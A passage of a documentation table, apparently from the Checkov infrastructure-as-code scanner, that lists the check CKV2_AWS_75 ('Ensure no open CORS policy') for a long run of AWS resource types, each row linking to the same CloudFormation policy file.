[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  660 | CKV2_AWS_75 | resource | aws_ebs_volume                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  661 | CKV2_AWS_75 | resource | aws_ec2_availability_zone_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  662 | CKV2_AWS_75 | resource | aws_ec2_capacity_block_reservation                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  663 | CKV2_AWS_75 | resource | aws_ec2_capacity_reservation                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  664 | CKV2_AWS_75 | resource | aws_ec2_carrier_gateway                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  665 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_authorization_rule                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  666 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_endpoint                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  667 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_network_association                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  668 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_route                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  669 | CKV2_AWS_75 | resource | aws_ec2_fleet                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  670 | CKV2_AWS_75 | resource | aws_ec2_host                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  671 | CKV2_AWS_75 | resource | aws_ec2_image_block_public_access                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  672 | CKV2_AWS_75 | resource | aws_ec2_instance_connect_endpoint                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  673 | CKV2_AWS_75 | resource | aws_ec2_instance_metadata_defaults                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  674 | CKV2_AWS_75 | resource | aws_ec2_instance_state                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  675 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  676 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route_table_vpc_association                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  677 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  678 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list_entry                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  679 | CKV2_AWS_75 | resource | aws_ec2_network_insights_analysis                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  680 | CKV2_AWS_75 | resource | aws_ec2_network_insights_path                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  681 | CKV2_AWS_75 | resource | aws_ec2_serial_console_access                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  682 | CKV2_AWS_75 | resource | aws_ec2_subnet_cidr_reservation                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  683 | CKV2_AWS_75 | resource | aws_ec2_tag                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  684 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  685 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter_rule                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  686 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_session                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  687 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_target                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  688 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  689 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  690 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect_peer                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  691 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_association          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  692 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_propagation          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  693 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  694 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain_association             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  695 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_member                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  696 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_source                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  697 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  698 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment_accepter              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  699 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  700 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table_association                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  701 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_prefix_list_reference                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  702 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  703 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  704 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_association                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  705 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table_propagation                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  706 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  707 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_vpc_attachment_accepter                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  708 | CKV2_AWS_75 | resource | aws_ecr_account_setting                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  709 | CKV2_AWS_75 | resource | aws_ecr_lifecycle_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  710 | CKV2_AWS_75 | resource | aws_ecr_pull_through_cache_rule                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  711 | CKV2_AWS_75 | resource | aws_ecr_registry_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  712 | CKV2_AWS_75 | resource | aws_ecr_registry_scanning_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  713 | CKV2_AWS_75 | resource | aws_ecr_replication_configuration                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  714 | CKV2_AWS_75 | resource | aws_ecr_repository                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  715 | CKV2_AWS_75 | resource | aws_ecr_repository_creation_template                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  716 | CKV2_AWS_75 | resource | aws_ecr_repository_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  717 | CKV2_AWS_75 | resource | aws_ecrpublic_repository                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  718 | CKV2_AWS_75 | resource | aws_ecrpublic_repository_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  719 | CKV2_AWS_75 | resource | aws_ecs_account_setting_default                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  720 | CKV2_AWS_75 | resource | aws_ecs_capacity_provider                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  721 | CKV2_AWS_75 | resource | aws_ecs_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  722 | CKV2_AWS_75 | resource | aws_ecs_cluster_capacity_providers                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  723 | CKV2_AWS_75 | resource | aws_ecs_service                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  724 | CKV2_AWS_75 | resource | aws_ecs_tag                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  725 | CKV2_AWS_75 | resource | aws_ecs_task_definition                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  726 | CKV2_AWS_75 | resource | aws_ecs_task_set                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  727 | CKV2_AWS_75 | resource | aws_efs_access_point                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  728 | CKV2_AWS_75 | resource | aws_efs_backup_policy                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  729 | CKV2_AWS_75 | resource | aws_efs_file_system                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  730 | CKV2_AWS_75 | resource | aws_efs_file_system_policy                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  731 | CKV2_AWS_75 | resource | aws_efs_mount_target                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  732 | CKV2_AWS_75 | resource | aws_efs_replication_configuration                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  733 | CKV2_AWS_75 | resource | aws_egress_only_internet_gateway                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  734 | CKV2_AWS_75 | resource | aws_eip                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  735 | CKV2_AWS_75 | resource | aws_eip_association                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  736 | CKV2_AWS_75 | resource | aws_eip_domain_name                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  737 | CKV2_AWS_75 | resource | aws_eks_access_entry                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  738 | CKV2_AWS_75 | resource | aws_eks_access_policy_association                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  739 | CKV2_AWS_75 | resource | aws_eks_addon                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  740 | CKV2_AWS_75 | resource | aws_eks_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  741 | CKV2_AWS_75 | resource | aws_eks_fargate_profile                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  742 | CKV2_AWS_75 | resource | aws_eks_identity_provider_config                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  743 | CKV2_AWS_75 | resource | aws_eks_node_group                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  744 | CKV2_AWS_75 | resource | aws_eks_pod_identity_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  745 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  746 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_application_version                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  747 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_configuration_template                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  748 | CKV2_AWS_75 | resource | aws_elastic_beanstalk_environment                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  749 | CKV2_AWS_75 | resource | aws_elasticache_cluster                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  750 | CKV2_AWS_75 | resource | aws_elasticache_global_replication_group                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  751 | CKV2_AWS_75 | resource | aws_elasticache_parameter_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  752 | CKV2_AWS_75 | resource | aws_elasticache_replication_group                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  753 | CKV2_AWS_75 | resource | aws_elasticache_reserved_cache_node                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  754 | CKV2_AWS_75 | resource | aws_elasticache_security_group                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 